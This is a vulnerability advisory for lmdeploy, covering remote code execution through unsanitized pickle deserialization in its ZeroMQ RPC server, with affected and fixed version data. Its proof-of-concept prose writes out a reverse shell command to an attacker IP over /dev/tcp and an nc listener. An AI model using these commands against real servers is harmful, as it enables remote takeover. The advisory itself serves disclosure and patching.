LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy
### Description The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. ### Proof of Concept * Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py. * Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port. * Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attack
PYSEC-2026-4079
Primary source · Revision 2
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:PYSEC-2026-4079
lmdeploy
Source reference: /affected/0/package/name
- Affected versions
- 0.10.0
Source reference:
/affected/0/versions0.10.1Source reference:
/affected/0/versions0.9.1Source reference:
/affected/0/versions0.9.2Source reference:
/affected/0/versions0.9.2.post1Source reference:
/affected/0/versions - Fixed versions
- 0.10.2
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0.9.1"
},
{
"fixed": "0.10.2"
}
]
}
],
"package": {
"name": "lmdeploy",
"purl": "pkg:pypi/lmdeploy",
"ecosystem": "PyPI"
},
"versions": [
"0.10.0",
"0.10.1",
"0.9.1",
"0.9.2",
"0.9.2.post1"
],
"database_specific": {
"source": "https://github.com/pypa/advisory-database/blob/main/vulns/lmdeploy/PYSEC-2026-4079.yaml"
}
}
]- Related CVEs
- CVE-2025-59953
Source reference:
/aliases
Publisher severity
No explicit severity was provided.
- Event
- #62538 · Revision 2
- Added to Heist Feed
- Publisher date